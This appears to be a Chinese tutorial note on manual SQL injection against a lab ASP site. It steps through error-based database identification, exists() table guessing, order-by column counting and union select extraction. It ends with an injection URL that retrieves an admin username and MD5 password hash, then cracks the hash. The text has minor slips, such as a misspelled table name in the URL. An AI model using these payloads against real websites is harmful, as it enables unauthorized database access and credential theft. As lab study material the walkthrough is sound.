1.通过报错方式确定是什么数据库
通过'和"and 1=1"和"and 1=2"找注入点;
通过返回的报错方式来判断是什么数据库
2.猜解数据库表名和字段
#注:(要在注入点猜)
1)首先来猜解数据库表名
and exists(select * from users) ##返回结果没用报错的话说明有users这个表名
'''
EXISTS表示存在量词:带有EXISTS的子查询不返回任何记录的数据,只返回逻辑值“True”或“False”
Exists:若子查询的结果集非空时,返回“True”;若子查询的结果集为空时,返回“False”
NOT EXISTS :若子查询结果为空,返回“TRUE”值;若子查询的结果集非空时,返回 “FALSE
'''
2)然后再猜字段名
and exists(select password from administrator) ##返回结果没有报错的话,说明有passwd这个字段
##再次猜user_name,没有报错,说明存在这个字段
3. order by 与union select
#注:(前提条件需要有字段名和表名)
'''
首先,利用order by猜解字段数目,查询语句如下。
order by 1
order by 2
...
order by n-1
order by n
如果n-1时返回正常,n时返回错误,那么说明字段数目为n。
'''
4.通过union查询可写字段
union select 1,2,3,4,5,6,7 from administrator
#结果反馈:2/3/5/7可写
5.将收集到的字段带入
http://192.168.65.133:82/news_view.asp?id=14%20union%20select%201,user_name,password,4,5,6,7%20from%20administratorrator
#账号:
admin
#密码:
21232f297a57a5a743894a0e4a801fc3
#md5解密:
admin
版权声明:本文为qq_57868287原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。